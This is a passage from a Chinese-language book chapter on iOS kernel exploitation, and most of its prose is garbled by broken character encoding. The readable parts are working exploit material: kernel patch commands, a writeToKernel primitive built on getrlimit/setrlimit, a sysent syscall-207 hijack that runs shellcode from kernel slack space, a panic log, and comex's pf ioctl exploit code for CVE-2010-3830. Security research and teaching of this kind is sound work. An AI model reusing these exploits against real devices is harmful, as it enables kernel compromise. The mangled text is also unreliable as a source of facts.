ஜԺ̾థܲ˓ὋͭԵథʶ˓ፆౝͳԺ̾ͺ˝ᣤЙ֖ᣤѢὋᏪ˄ॸᮋᮊःፆౝͳᄉܷ࠴ǌ�

ဗܰᦉழࠃЮನጞѾὋIOKit᯵ҮርࣿԺ̾᤯᣾᧗зIOUserClientዜ˖ᄉᔩ࣯ʿՎழกڙ
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กǌణ࣡ᜁ᧗зᄉழก௦ExternalMethod()ǌឞழกʿ̨᠆᠉੼ҁᤤ߿ᄉܰᦉழกὋᏪ˄᜵᧪

ࠪᭉය೜ಉଡΘᄉԟஜὋុၸࠃᬄᄉழกὋࣲ̾ൣᆷᄉழयူܪᣤѢǌ߸К᧗з˿ឞழกᄉၸਖ਼

ဗʶѬὋᏪᤇԺᑞ࠭ᒰܷ᧙ᄉ߶К᫇ᮤǌࠃࣁਖ਼ቪॸᮋᆷγઁ੯ᛠ͛ᤫፋྗழกὋ੊௦߸К᭤ᒬࠆ

ဗᤇʶୱͺὋఝழΦᄉࠃಉǌ᜵ࠅ᧗зᄉExternalMethod()ழกᤈᛠࠪڠ൤Ὃੇ͂ःឞᝢᄽځ

ழय௦᧗з۲ᆨࠃဗ΍ၸᄉ౼˓ᣘүழกǌᤇ̎ᣘүழกӉહ getAsyncTargetAnd 

MethodForIndex()ǋgetExternalMethodForIndex()ǋgetExternalAsyncMethodFor- 

Index()֖getTargetAndMethodForIndex()ǌᤇ̎ழกඇ˓ᦏःឞԺ̾᤯᣾ጉलಉ੼ܰᦉழ

กὋᏪ˄థԺᑞᆷ߿ᄫಕࠪ៵ǌʿክၸਖ਼ࠆਖ਼ቪࠃဗ᧗з˿̣˥ѥஜὋੇ͂ᦏॸᮋ೜ಉ߱͂௦ՠ

ᰍ᝼˿ጉलὋࣲ ೜ಉ᭣กጉल͗ʿ͗लᡐஈѣᏧଌ҃ᄉЮߚᮅ˖ᤈᛠᄉ͉਒ಉ੼ǌᏪ˄ࠃᬄᄉܰ

ᦉழก˶᜵в൒ࠅಉὋᄹᄹࠪѥஜԟஜᄉ᣾ѫζ͉థ෤థलԦ࣡᜸ᄉ߶К᫇ᮤǌ 
ᄉIOKit᯵ҮርࣿᤈᛠᤣՓѫౡ̾Ԣಉ੼ˀIOKitᄰСᄉ໣วௐὋᦠՋʼளᄉ˖ߚЮನᎀࠪڙ

IDA 6.2˖ᄉѴᛪ᣾໙ҩᑞὋidaiostoolkit˖ᄉᑭఴ͗࠱᭣࣡ݝၸὋ5-9ڎݟ੝ᇧǌ 

 

�5-9ڎ IDA᣾໙IOKit᯵Үርࣿ 

9.4�  ߏḌⓣ⋲ᬏݙ

ఴᓫ᜵ᝦ᝶ᄉ௦᧪ࠪ4ሗ࣡᜸໣วዜۋᄉ໣วஈѣǌੇ͂សጹᝌ᧕˿๗Ԣᄉ໣วὋࣲѫѾࡘ

ᇧ˿˝ᤇіሗ໣วౝत໣วஈѣርࣿᄉழयǌੇ͂ڙᝦ᝶˖ଡΘ˿ᄰСᄉ໣วஈѣርࣿCឥᝒ̼

ᆉྞൿǌʿ᣾ܷࠑ᜵௙ᄆὋځ˝iOS 4.3ЮನᄉलЙὋᄫґʿڙߚሄၸ̼ᆉኣՏҩᑞᄉ૸फ़Ὃࡂ௦

̾ rootၸਖ਼ᢵ͊˶ʿᑞሄၸ߱ǌڙ iOS 4.3 ˧ґὋ rootၸਖ਼థԺᑞ̯ၸਖ਼ቆᫍሄၸ
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security.mac.poc_enforce֖security.mac.vnode_enforce sysctlஜ૵ᮉǌᤇథԺᑞ

ሄၸ̼ᆉኣՏ఺҃˖ᄉॡܲሗ߶К೜ಉὋᝧၸਖ਼Ժ̯̾෤థፂ᣾ൣᆷኣՏᄉMach-Õᤈ҃஠͇

ᤁᛠЮನ໣วஈѣርࣿǌʿ᣾ڙलЙ˿iOS 4.3ՐὋᤇ̎sysctlஜ૵ᮉᦏԪ੆Եឳᄉ˿ǌځ൤Ὃ

᧪ࠪྟఴᄰࠪᣖளᄉiOSᄉЮನ໣วஈѣርࣿКᦏॸᮋࠃဗ˝ᄇѫ˧ᄇᄉROP὇᭦ࠪᤄٿᄉርࣿ

᝹᝟Ὀథ஌ᣑᕲὋᬓ᭣߱͂௦̯ХథҮখ̼ᆉኣՏᑞҦᄉᤈር˖ըҮᄉǌ̾᭣rootၸਖ਼ᢵ͊ը

ҮЮನ໣วஈѣርࣿ঳௦థᤇʶ᜵යǌ  

9.4.1� ӏᛣݙᄬⱘ䞡ݭ 

ѽၸ͉਒ЮನЮߚ᧗з໣วὋஈѣᏧԺ̾ڙЮನᄉڦڠቆᫍ˖ᬣॶ੝ൗڠзЙՉሗЮࠓǌᙉ

ཨᤇಧᄉ໣วࣂፂᜁ੼ҁࣲνܬ˿Ὃͭ ᤇ˓Βߔʿ௦᜵ࠪᄽൣᄉ໣วᤈᛠஈѣὋᏪ௦նឃܷݟࠑ

ʹ˝Юನ੩ᛩʷࣲ̭ፀʶ˓̠˝҃ᤴᄉϛ໣วǌʿ᣾Ὃࠑܷڙᅋ੣ϡᤇ̎˧ґὋᭉ᜵ࣂፂःၸ᣾

ᡔ࿜ЮನᛩʷᄉЮನ̃ᤈ҃஠͇ὋᏪѸतᤇሗ஠͇ణኤӬᄉழय௦΍ၸcomexᄉЮನᛩʷၶ੆٧

὇kernel patch generatorὈὋԟ᜸Githubᄉhttp://github.com/comex/datautils0ǌᎃដݝ˧Ր߱͗ፋܷࠑ

ଡΘˏ˓ၸ̅Ѹतᡔ࿜ЮನᄉࠃၸࢹХǌʿ ᣾ڙᤇ᧖ੇ͂ʿ̭͗ፀ߱ଡΘᄉࠃᬄЮನᛩʷὋځ˝

ᤇ௦ኃ10ብ᜵ᝦ᝶ᄉЮࠓǌ 

$ ./make_kernel_patchfile kernelcache.iPod4,1_4.3.5_8L1.decrypted 

 mykernelpatchfile 

$ ./apply_patchfile kernelcache.iPod4,1_4.3.5_8L1.decrypted \ 
    mykernelpatchfile kernelcache.iPod4,1_4.3.5_8L1.patched 

vm_map_enter (0x80043fc8) 

vm_map_protect (0x8004115e) 
AMFI (0x80618394) 

-debug_enabled initializer (0x80204d9c) 

task_for_pid 0 (0x801a7df6) 
cs_enforcement_disable (0x8027eb5c) 

proc_enforce (0x8029c1e4) 

USB power (0x805eab92) 
sb_evaluate hook (0x8061b6d4) 

sb_evaluate (0x80938e9c) 

1. ৥ݙḌ⏏ࡴⓣ⋲�
ဗࣂڙፂథ˿ᡔ࿜Юನᄉ̃ᤈ҃஠͇ὋܷࠑԺ̾ᒬᛠՓ߱ຊҪ໣ว˿ǌ᜵߸੆ឞ͉ҫὋܷࠑ

ॸᮋڙЮನ̃ᤈ҃஠͇˖ಉ੼ࣲఢ૰ݟʽߙᓫὙ 

Original    68 46 10 22 F7 F6 26 EC F3 E7 00 BF 
Patched     68 46 10 22 F7 F6 70 EE 00 20 F2 E7 

ཨՐԺ̾΍ၸiPhone Dev Teamᄉredsn0wࠃၸࢹХल࠭੩᣾ᛩʷᄉЮನὙ 

$ ./redsn0w -j -k kernelcache.iPod4,1_4.3.5_8L1.patched -a "-v" 

ፘ፝˧ґὋЎ౎ᄹᄹःၸᄉᛩʷὋࣲڙ ˿ᝌलЙᄉ໣วǌ੩᣾ᛩʷᄉ̼ᆉͮ̅getrlimit()

ጆፑុၸ˧˖ǌᏪڙឞጆፑុၸᄉူܪርࣿ˖ὋܷࠑԺ̾ڙ᭤ᤂፆࡊᄉڠழ੼ҁݟʽ̼ᆉὋ߱ѽ

ၸcopyout()ѥஜઁፆ౦ٿ҃ܬၸਖ਼ቆᫍǌcopyout()ѥஜ͗೜ಉᄫᄉڦڠᆷࠃ௦ՠڙၸਖ਼ቆ
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ᫍᄉЮߚ˖Ὃ̾ᆷγʿ͗ઁፆ౦зЙЮನЮߚǌԓ̼ݼᆉᄉԥ඼ᎃݟʽ੝ᇧὙ�

80175628    MOV     R0, SP 
8017562A    MOVS    R2, #0x10 

8017562C    BLX     _copyout 

80175630    B       loc_8017561A 

ःၸᄉᛩʷ͗ઁࠪcopyout()ᄉុၸஇ˝ࠪovbcopy()ᄉុၸὋᏪovbcopy()ʿ͗੯ᛠ͉

ʹ೜ಉὋᤇಧʶ౎ࡂԺ̾ઁᄫಕ߿ૈڦڠ˝ЮನЮߚ˖ᄉ͉ʹͮᎵǌᬓ൤˧ܰὋःၸᄉᛩʷᤆ͗

ຌᬓR0࠘٧ߚὋᝧᤇᄹᡐ౎Ϸ௦ʶ൒੆ҩᄉ҃ܬୱͺǌᄰःᄉ඼ᎃ̼ᆉ௦ʽ᭦ᤇಧᄉὙ�

80175628    MOV     R0, SP 

8017562A    MOVS    R2, #0x10 

8017562C    BLX     _ovbcopy 
80175630    MOVS    R0, #0 

80175632    B       loc_8017561A 

ᤇ਒։ᅋ᤯᣾ૈ࠱ՓЮನЮߚᄉૈ᧪ͺ˝ኃ̃˓ԟஜὋܷࠑԺ̾ઁgetrlimit()ጆፑុၸ

ᄉፆ౦зЙЮನЮߚὙ�

getrlimit(RLIMIT_CORE, 0x80101010); 

᜵˿ᝌʶ߿ᄉ͉਒ͮᎵὋ੝̾;ʶߚԺ̾ઁrlimitፆౝͳзЙЮನЮࠑᤇ˓໣วᝧܷ˝ځ

ʽ߱ᄉ߿˦Ὑ�

struct rlimit { 
    rlim_t  rlim_cur; /* ړമڦǄ෉ǅ၌዆ */ 

    rlim_t  rlim_max; /* ᆘ၌዆ */ 

}; 

௦64ͮᄉ௃ቿՁஞஜὋʿ᣾ᤇ64ͮ˖ੇ͂Եၸҁ˿63ͮǌణᰳͮۋiOS˖Ὃrlim_tஜ૵ዜڙ

ःឞ௦0ǌځ൤Ὃᑞܴ͉਒ᤤસᄉԵథፆ౦ᄉґ7˓ߙᓫǌʿ᣾ᤇʿ੆᫇ᮤὋࠑܷ˝ځԺ̾᧗ܬ੯

ᛠ໣วஈѣርࣿǌᤆథʶ˓ᬌ҃ࡂ௦ʿЉ᝴rlim_curᄉϘܷ̅rlim_maxᄉϘǌᤇ਒։ᅋ໣วஈ

ѣ̼ᆉᭉ᜵΍ၸʶधݼᜁ᝹Ꮅ˝௃ᬌ὇੝థ63ͮὈᄉᠪຸᬌ҃ὋՠѶзЙᄉࡂʿ௦Кᦉ7˓ߙᓫ

˿ǌڙRLIMIT_COREᄉৰх˖Ὃᤇ௦᳭ᝢᄉǌ੝̾Ὃ᜵ઁ11 22 33 44 55 66 77ᤇ̎ߙᓫз

ЙЮನὋੇ͂ࡂॸᮋᤇಧϡὙ�

getrlimit(RLIMIT_CORE, &rlp); 

rlp.rlim_cur = 0x77665544332211; 
setrlimit(RLIMIT_CORE, &rlp); 

getrlimit(RLIMIT_CORE, 0x80101010); 

᜵ՓЮನзЙ͉਒ஜ᧙ᄉஜ૵Ὃੇ ΍ၸឞ໣วܬ᜵ઁᤇ˓໣วஈѣርࣿӉᜈҁ౼˓͗᧗ࡂ͂

ᄉѥஜ˖Ὑ�

void writeToKernel(unsigned char *addr, unsigned char *buffer, 
size_t len) 

{ 

    struct rlimit rlp; 
    getrlimit(RLIMIT_CORE, &rlp); 

    while (len > 7) { 

        memcpy(&rlp, buffer, 7); 
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        setrlimit(RLIMIT_CORE, &rlp); 
        getrlimit(RLIMIT_CORE, addr); 

        len -= 7; buffer += 7; addr += 7; 

    } 
    memcpy(&rlp, buffer, len); 

    setrlimit(RLIMIT_CORE, &rlp); 

    getrlimit(RLIMIT_CORE, addr); 
} 

2. 䗝ᢽ㽕䞡ݭⱘⳂᷛ�
ʶெԺ̾зЙ͉ʹЮࠓὋੇ ःឞ᧗з̣˥˿ǌ̯߿ᭉ᜵фࡂ͂ ԊԽʼᄹὋᤇࣂፂڙMac OS X

ᄉЮನ໣วஈѣርࣿ˖΍ၸ᣾˿ὋХͳ౎ᝮࡂ௦᧗зЮನЮߚ˖ᤈርᄉၸਖ਼њ᝼౎ѽၸФྱాǌ

ࠪ̅iOS֖ᣖளᄉMac OS XЮನᏪᝒὋᤇࣂፂʿвܴၸ˿Ὃࠑܷ˝ځ᤯࣡ॸᮋ̶ࠪЮನጞᄉ෡ᄣ

఺҃ǌԵ௦ઁᤈርᄉၸਖ਼IDஇ੆0ʿᡛ̾ᖌ३ࠪጆፑᄉ߸К᝺᫇ǌ᜵ࠃဗᤇʶᄫಕὋੇ͂ᭉ᜵᧗

зЮನጞᄉѥஜૈ᧪੊γߚᄉᤄڦڠٿὋࣲ࠱Юನᄉ੯ᛠᡸफ़᧗߿Փҁᒬࣁᄉ̼ᆉǌ 
߸੆ᤇᮉࢹͺᄉʶ˓ழก௦᧗зጆፑុၸᛪ˖౼˓ల΍ၸᄉጆፑុၸူܪርࣿὋཨՐ᤯᣾ុ

ၸ੝Ꮵᘼᄉጆፑុၸ̯ၸਖ਼ቆᫍᝎԦ੯ᛠǌiOSӉդ˿ᄰॆܲల΍ၸᄉጆፑុၸᛪᮉǌၸ౎ፋ

iPhoneᡔ࿜ᄉЮನ໣วஈѣርࣿ˧ґࡂ΍ၸ˿ᛪᮉ0֖207ὋᏪ෤థᥒ᥄౎ᒬФ̴ᣃ͇ᄉ᳣ཐǌܷ

໣วஈѣርࣿ˖ॸᮋᝌфᄉኃ̃˓᫇ᮤ௦᜵ઁ̼ᆉलЙԺ̾᡹ᣀҁᄉЮನǌᝌфᤇ˓᫇ᮤᄉڙࠑ

ழกథॡܲὋੇ͂͗ڙଋʽ౎ᄉЮࠓ˖ଉᝦФ˖ᄉіሗǌᤇ˓Βߔ΍ၸ˿ʶሗྱ߿ᄉஈѣὋॆੇ

͂Ժ̾ڙЮನЮߚ˖ᄉ͉਒ͮᎵзЙ͉਒ЮࠓௐΦԺ΍ၸᤇሗஈѣǌܷ ᄉ̼ᆉ᧗з˿Юࣁၸᒬࠑ

ನЮߚ˖Ժ੯ᛠ˄Ժзᄉ᫋ᎵቆᫍǌΒݟὋ੝ӉդᄉՉ˓ЮನੰࡘᦏХథMach-OܿᦉὋᏪܿڙ

ᦉᄉፆࡊˀʽʶൿЮࠓᄉधܿ˧ᫍڙߚࡂʶ̎ల΍ၸᄉቆᫍǌ 
ࠪ̅ឞ໣วஈѣርࣿ౎ឬὋᤇ਒։ᅋܷࠑॸᮋᅻ᥊ጆፑុၸᛪ֖ЮನЮߚ˖᫋ᎵቆᫍᄉᆷѬ

ͮᎵǌځ˝ЮನጞѾ௦ʿڙߚASLRγએᄉὋ੝̾ᤇ̎̅ࠪڦڠᄰՎᄉ᝹֖ܫЮನྟఴᏪᝒ௦᭡

খᄉὋࠪ̅੝థࣂԦ࣊ᄉྟ͇ڌఴ౎ឬᦏʶ൒ব੼Ѣ౎ԀԺǌ᜵๯ᄥ੝థྟఴᄉiOS 4ὋڙʿᏥ

ᘼஂ૆Apple TVᄉৰхʽὋణܲԵԺᑞథ81˓ʿՎᄉڦڠǌʿ᣾Ὃᤇ̎ڦڠ˖థ̎௦ᄰՎᄉὋʶ

ழ᭦ځ˝ʿ௦ඇ˓ྟఴᄉiOSᦏ͗लЙ὇ᣖܷᄉὈЮನஇҮὋᏪԲʶழ᭦௦ځ˝ࠪ̅ᥦ̎΍ၸ˿

ᄰՎۋՁ٧ူܪᄉ᝹ܫᏪᝒὋ˞Юನ̼ᆉൿᄉඇ˓ߙᓫᦏ௦ᄰՎᄉǌځ൤ὋܷࠑԺ̾ᎃзʶ˓ᑭ

ఴὋ˝੝థԺၸᄉЮನ੼ҁᤇ̎ڦڠὋࣲ˝ᒬࣁᄉЮನ໣วஈѣርࣿѸतಉ੼ᛪǌ 
3. ᅮԡ㋏㒳䇗⫼㸼 
ፂሧҮ˿ʶ̎ЮನቿՁࣲࣂᔰ౦МՂ˝ځጆፑុၸᛪఝᬱ˿Ὃͮ߿ᤂయᄉЮನఝள˧ՐὋڙ

ख़ऄѺᬓ˿ʶ̎ǌ̾ґੇ͂Ժ̾ѽၸkdebug_enableᤇಧᄉቿՁᣏౚͮ߿ጆፑុၸᛪὋᏪͮ߿

ጆፑុၸᛪᄉளழกѶΙᠺ̅ᛪ˖ኃʶᮉᄉፆౝὋ̾ Ԣ߱ᄰࠪ̅nsysentԪ᧙ᄉͮᎵǌጆፑុၸ

ᛪ˖ᄉஜ૵ᮉԶͺsysentὙ 

struct sysent {                 /* ဣཥۙᆩ՗ */ 

    int16_t sy_narg;            /* ֖ຕຕଉ */ 

    int8_t sy_resv;             /* ԍାڦ */ 

    int8_t sy_flags;            /* Քኾ */ 

    sy_call_t *sy_call;         /* ํ၄ࡧຕ */ 
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    sy_munge_t *sy_arg_munge32;    /* 32࿋ڦဣཥۙᆩ֖ຕ߀ႀ */ 

    sy_munge_t *sy_arg_munge64;    /* 64࿋ڦဣཥۙᆩ֖ຕ߀ႀ */ 

    int32_t    sy_return_type;     /* ဣཥۙᆩ࣮ݓڦૌ႙ */ 

    uint16_t   sy_arg_bytes;       /* 32࿋ဣཥۙᆩዐ໯ᆶ֖ຕڦጺٷၭǈڇ࿋๟ጴব 

                                    */ 

}; 

ဗᄉጆፑុၸὋ੝̾Фፆౝͳ˖ᄉܷᦉѫЊገᦏ͗ᜁࠃࣂʿ௦ࠃጆፑុၸᛪᄉኃʶᮉФ˝ځ

ѹݼӐ˝0ǌᜁ᝹Ꮅ˿ᄉߙൿԵథsy_return_type֖sy_callǌᤄٿዜۋᜁѹݼӐ˝Ϙ1ὋᏪ˄

Ժ̾ੲଠࡂࠑӛᦠὋܷ˦߿౦ஜ૵ˀኃʶᮉᄉݟ൤Ὃځርࣿ௦౼˓ૈՓЮನ̼ᆉൿᄉૈ᧪ǌူܪ

ˀᤇ̎ஜ૵ࠪःᄉஜ૵ൿǌ̋ ᰍ᝼ᒬࣁ੼ҁ˿ጆፑុၸᛪὋܷ Ժ̾ѽၸnsysentԪ᧙௦ጊଋᅋࠑ

ጆፑុၸᛪߚϱᤇʶ̂ࠃǌᤇ਒։ᅋὋܷ  Ժ̾ᯪЎ࿮฽ʶ˓ጆፑុၸஜ᧙ὋཨՐᰍ᝼&nsysentࠑ

= &sysent + sizeof(sysent) * nsysent௦ՠ੆በὋݟ౦ʿ੆በὋࡂ᜵ፘܷ፝ܘᤇ˓ஜߙ

ᄯҁ᣹ҁʶ˓ॡܷᄉஜߙὋᏪ˄ʿ३ʿᝢ˝ᒬࣁ࿮฽ᄉsysentᄉڦڠ௦ᩱᄉǌᤇሗৰхʽܷࠑ

�ஜ૵ൿ˖ಉ੼ᄽൣᄉኃʶᮉǌڙ᜵ፘ፝ࡂ

idaiostoolkitӉդ˿ʶ˓ᤇಧᄉᑭఴὋ߱Ժ̾ᒬҮ߸੆ᤇሗಉ੼ὋࣲѽၸXNUຸ̼ᆉ˖

ᄉsyscalls.master஠͇˝ጆፑុၸူܪርࣿ᝹Ꮅ੝థᄉቿՁ֖ѥஜዜۋǌʽ᭦ࡂ௦ࠪၸ̅iPod 4ᄉ
iOS 4.3.5͇ڌ΍ၸឞᑭఴ̖ၶᄉᣤѢὙ 

Found syscall table _sysent at 802926e8 
Number of entries in syscall table _nsysent = 438 

Syscall number count _nsysent is at 80294ff8 

4. ᵘᓎⓣ⋲ᬏߏ⿟ᑣ�
ࠬ੼Ջ᤟ᄉ᫋ᎵቆᫍࡂኤӬ३ܲ˿Ὃੇ͂Եᭉ೜ಉЮನੰࡘᄉMach-OܿᦉՐᄉ

__PRELINK_TEXTஜ૵ൿథ෤థቆ᫋ቆᫍǌЮ0˖ߚx8032B300ҁ0x8032C000˧ᫍᄉᤇ3328ߙ
ᓫࡂ௦˓Ջ᤟ᄉቆᫍὋܷࠑԺ̾ڙᒬࣁᄉ໣วஈѣርࣿ˖΍ၸᤇ̎ቆᫍǌ 

char shellcode[] = "\x01\x20\x02\x21\x03\x22\x04\x23\xFF\xFF"; 
struct sysent scentry; 

unsigned char * syscall207 = 0x802926e8 + 207 * sizeof(scentry); 

unsigned char * slackspace = 0x8032B300; 
 

memset(&scentry, 0, sizeof(scentry)); 

scentry.sy_call = slackspace + 1; 
scentry.sy_return_type = 1; 

 

writeToKernel(slackspace, &shellcode, sizeof(shellcode)); 
writeToKernel(syscall207, &scentry, sizeof(scentry)); 

syscall(207); 

ᤇ˓໣วஈѣርࣿ˖ᄉshellcode̼ᆉ௦ኤӬᄉThumbഴयὋ߱͗ઁ౼̎ϘሧЙ࠘٧ߚR0ҁ

R3ὋཨՐځ˝ల߿˦ᄉૈ̽ᤴ੆ː᧗ᩱឧǌʿ ᣾ᤇԵ௦᝼௙Ԧၶ˿౼ሗዜۋᄉ੯ᛠǌੇ ኃڙ࠱͂

10ብ˖ᝦ᝶߸ஞᄉЮನጞథ஌ᣑᕲǌ�

MOVS    R0, #1 
MOVS    R1, #2 
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MOVS    R2, #3 
MOVS    R3, #4 

UNDEFINED 

ੇ͂ᄉ໣วஈѣርࣿڙ੯ᛠௐ͗࠭ᒰЮನԦၶː᧗ᩱឧὋᏪ˄ː᧗ᩱឧ௅ং௬ᇧᤇ᧖ᄉ̼ᆉ

३ҁ˿੯ᛠᏪ˄࠘٧ߚ˶ᜁᜈЙ˿ᄰःᄉЮࠓǌርࣿ᝟ஜ٧PCᛪ௙ڙ੯ᛠ౎ຸ̅᫋Ꮅቆᫍᄉ౼్

ల߿˦Юನૈ̽ௐԦၶ˿࢜ຳὋᏪR5࠘٧ߚᄉϘఌᇧ˿ጆፑុၸူܪርࣿ207ᄉ੯ᛠǌ�

panic(cpu 0 caller 0x8006fcf8): undefined kernel instruction 
r0: 0x00000001  r1: 0x00000002  r2: 0x00000003  r3: 0x00000004 

r4: 0x856e02e0  r5: 0x000000cf  r6: 0xc0a886ac  r7: 0xcd273fa8 

r8: 0x00000001  r9: 0xc0a884b0 r10: 0x80293a50 r11: 0x832b8244 
12: 0x00000000  sp: 0xcd273f90  lr: 0x801a96e8  pc: 0x8032b308 

cpsr: 0x20000033 fsr: 0x856e02e0 far: 0xcd273fa8 

ᤇःឞᡛ̾ឬ௙Ὃݟ౦ᑞᄯଋՓЮನЮߚзஜ૵Ὃᝧ͉਒Юನ̼ᆉ੯ᛠ͗᭣࣡ࠓ௛ǌݟ౦໣

วʿᑞᝧܷࠑᬣॶ੝ൗڠзஜ૵ὋᏪࠪԺᑞзЙᄉϘҪ̾ᬌ҃Ὃ໣วஈѣ͗ࡂఝҪڇᬱǌʿ᣾Ὃ

ʽʶᓫ᜵ᝦ᝶ᄉ໣วᛪ௙ὋԀΦ௦ԵᑞࠪЮನЮߚᤈᛠ᭣࣡థᬌᄉୱጪὋੇ ͂˶ᤆ௦థԺᑞᝧ͉

਒̼ᆉ੯ᛠǌ�

9.4.2� ᳾߱ྟ࣪ⱘݙḌব䞣 

ᤇሗ໣วஈѣ͗࠭ᒰЮನፆౝ˖లѹݼӐᄉૈ᧪ЊገᜁᜈЙ౎ᒬၸਖ਼ቆᫍᄉஜ૵ǌឞ໣วͮ

̅Ӊ᣾໙᝹ܫᄉIOCTLူܪርࣿ˖ὋcomexԦဗ˿ឞ໣วࣲᎃз˿໣วஈѣርࣿǌଋᅋ̴ᄉ໣ว

ஈѣርࣿࡂᜁၸڙ˿᧪ࠪiOS 4.1ᄉlimera1nᡔ࿜ࢹХ˖ǌᔰ౦МՂڙiOS 4.2.1˖νܬ˿ᤇ˓໣ว

὇˶ሥ˝CVE-2010-3830໣วὈǌځ൤ὋܷࠑԵథڙᤁᛠiOS 4.1Ԣఝͯྟఴᄉ᝹ܫʼ੥ᑞѽၸᤇʶ

໣วǌ 
ਆ˿ᝌᤇʶ໣วὋܷ XNUЮನຸ̼ݼ௦ԓ߱˝ځርࣿὋူܪᄉIOCTLܫԺ̾ᄹᄹӉ᣾໙᝹ࠑ

ᆉᄉʶᦉѫǌᏪຸ̼ᆉಝᭉ᜵ᡛܴே὇Βݟxnu-1504.9.17ὈὋ̾γ᝼߱ᤆڙߚᤇ˓໣วǌథ໣ว

ᄉIOCTLူܪርࣿ௦ڙ/bsd/net/pt_ioctl.c஠͇˖߿˦ᄉὋФ̼ᆉݟʽ੝ᇧὙ 

static int 

pfioctl(dev_t dev, u_long cmd, caddr_t addr, int flags, struct proc *p) 

{ 
    /* čč */ 

    switch (cmd) { 
    /* čč */ 

    case DIOCADDRULE: { 
        struct pfioc_rule *pr = (struct pfioc_rule *)addr; 

        struct pf_ruleset *ruleset; 

        struct pf_rule    *rule, *tail; 
 
        /* ččް዆ժ؛๔ࣅևݴ঳༹ࠓ */ 

        bcopy(&pr->rule, rule, sizeof (struct pf_rule)); 

        rule->cuid = kauth_cred_getuid(p->p_ucred); 
        rule->cpid = p->p_pid; 

        rule->anchor = NULL; 

        rule->kif = NULL; 
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        TAILQ_INIT(&rule->rpool.list); 
 /* ᆅᆩऺຕࣅ๔؛*/        

        rule->states = 0; 

        rule->src_nodes = 0; 

        rule->entries.tqe_prev = NULL; 
 
        /* ččް዆ժ؛๔ࣅևݴ঳༹ࠓ */ 

        if (rule->overload_tblname[0]) { 

            if ((rule->overload_tbl = pfr_attach_table(ruleset, 

                 rule->overload_tblname)) == NULL) 

                 error = EINVAL; 

            else 

                 rule->overload_tbl->pfrkt_flags |= PFR_TFLAG_ACTIVE; 
        } 

ᤇൿ̼ᆉᄉ᧗ཁ௦Ὑݟ౦overload_tblname௦ቆߙቿ˘ὋፆౝͳЊገoverload_tblࡂʿ

͗ᜁѹݼӐǌݟ౦̼ᆉФ̴ᦉѫ˶΍ၸ˿ᄰՎᄉ೜ಉὋᥦ˥ᤇ௦෤᫇ᮤᄉὋͭФ̴ᦉѫԵ͗೜ಉ

overload_tbl௦ՠʿ௦NULLૈ᧪ǌݟ౦ਆࠪᤇʶᎤᬝҪ̾ѽၸὋ;ࡂॸᮋᝎԦࠪၸ̅Ѻᬓ᜺Ѷ

ᄉpf_rm_rule()ѥஜុၸὙ 

void 

pf_rm_rule(struct pf_rulequeue *rulequeue, struct pf_rule *rule) 
{ 

    if (rulequeue != NULL) { 

        if (rule->states <= 0) { 
    /* 
     * XXX ̢ ሞ෸ࡀأሶኮമǈ࿢்Ⴔᄲံ෸޿أ՗ǈ 

     * ᅜඓԍ޿՗پڦஓփࣷ෸أ࿢்Đগူڦரۅđ 

     */ 

    pf_tbladdr_remove(&rule->src.addr); 

    pf_tbladdr_remove(&rule->dst.addr); 
    if (rule->overload_tbl) 

       pfr_detach_table(rule->overload_tbl); 

    } 

᜵ᝎԦᤇಧᄉ̼ᆉᡸफ़Ὃੇ͂Եᭉ᜵ᝧDIOCADDRULE IOCTLူܪርܾࣿ᠋ǌʿ᣾Ὃੇ͂˶Ժ

̾᧓ၸФ̴ᔩ࣯ሗழกὋcomexࡂ΍ၸ˿DIOCCHANGERULE IOCTLᄉPF_CHANGE_REMOVEᛠ˝Ὑ 

case DIOCCHANGERULE: 
    /* čč */ 

    if (pcr->action == PF_CHANGE_REMOVE) { 
        pf_rm_rule(ruleset->rules[rs_num].active.ptr, oldrule); 

        ruleset->rules[rs_num].active.rcount--; 

    } else { 

ʿክᤤસגሗழกὋ̼ᆉణՐᦏ͗ុၸpfr_detach_table()ѥஜὋᤫђጆፑុၸᛪᄉल

ၸ᝟ஜ٧Ὑ 

void 
pfr_detach_table(struct pfr_ktable *kt) 

{ 

    lck_mtx_assert(pf_lock, LCK_MTX_ASSERT_OWNED); 
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    if (kt->pfrkt_refcnt[PFR_REFCNT_RULE] <= 0) 
        printf("pfr_detach_table: refcount = %d.\n", 

        kt->pfrkt_refcnt[PFR_REFCNT_RULE]); 
    else if (!--kt->pfrkt_refcnt[PFR_REFCNT_RULE]) 

        pfr_setflags_ktable(kt, kt->pfrkt_flags&~PFR_TFLAG_REFERENCED); 

} 

᝭ͰὋ᤯᣾ࠪoverload_tblૈ᧪ᤈᛠᄰःᄉ᝹ᎵὋஈѣᏧࡂԺ̾ଌ҃ឞѥஜ˖΍ၸᄉkt

ૈ᧪ǌᤇ਒։ᅋၸਖ਼ቆᫍᄉᤈርԺ̾ѽၸឞ໣วђߚ࠴ϱڙЮನЮ͉ߚ਒ͮᎵ˖ᄉஞஜǌ׬ʶᄉ

ᬌ҃ࡂ௦ᤇ˓Ϙʿᑞ̅࠴੊ኍ̅0ǌ͂ੇڙᝦ᝶ឞݟʹѽၸᤇʶђ͉࠵਒Юߚᄉ໣ว˧ґὋᯪЎ

ᄹᄹcomexᄉ໣วஈѣርࣿǌᯪЎὋ߱͗੩धӉ᣾໙᝹ܫὋࣲ᤯᣾IOCTL᧗ըឞ᝹ܫǌཨՐὋ߱

͗᧗ុܬၸpwn()ѥஜὋឞѥஜࠃဗ˿ᄽൣᄉ໣วஈѣࣲ͗૊ཱ߿˦ᄉ൒ஜᤫђଡΘᄉڦڠὙ 

// ๟ڦǈႴᄲዘႎٶਸ 

pffd = open("/dev/pf", O_RDWR); 
ioctl(pffd, DIOCSTOP); 

assert(!ioctl(pffd, DIOCSTART)); 

while(num_decs--) 
    pwn(<patchaddress>); 

assert(!ioctl(pffd, DIOCSTOP)); 

close(pffd); 

ርࣿຊҪူܪpwn()ѥஜ˖Ὃੇ͂तበ˿ॸ᜵ᄉፆౝͳὋᏪ˄ᯪЎ͗ុၸథ໣วᄉIOCTLڙ

ৎ਒᜺ѶࣲᬣՐበԀѺᬓឞ᜺Ѷǌᤇ͗ઁଡΘᄉЮڦڠߚђ1ǌ�

static void pwn(unsigned int addr) { 

    struct pfioc_trans trans; 

    struct pfioc_trans_e trans_e; 
    struct pfioc_pooladdr pp; 

    struct pfioc_rule pr; 

 
    memset(&trans, 0, sizeof(trans)); 

    memset(&trans_e, 0, sizeof(trans_e)); 

    memset(&pr, 0, sizeof(pr)); 
 

    trans.size = 1; 

    trans.esize = sizeof(trans_e); 
    trans.array = &trans_e; 

    trans_e.rs_num = PF_RULESET_FILTER; 

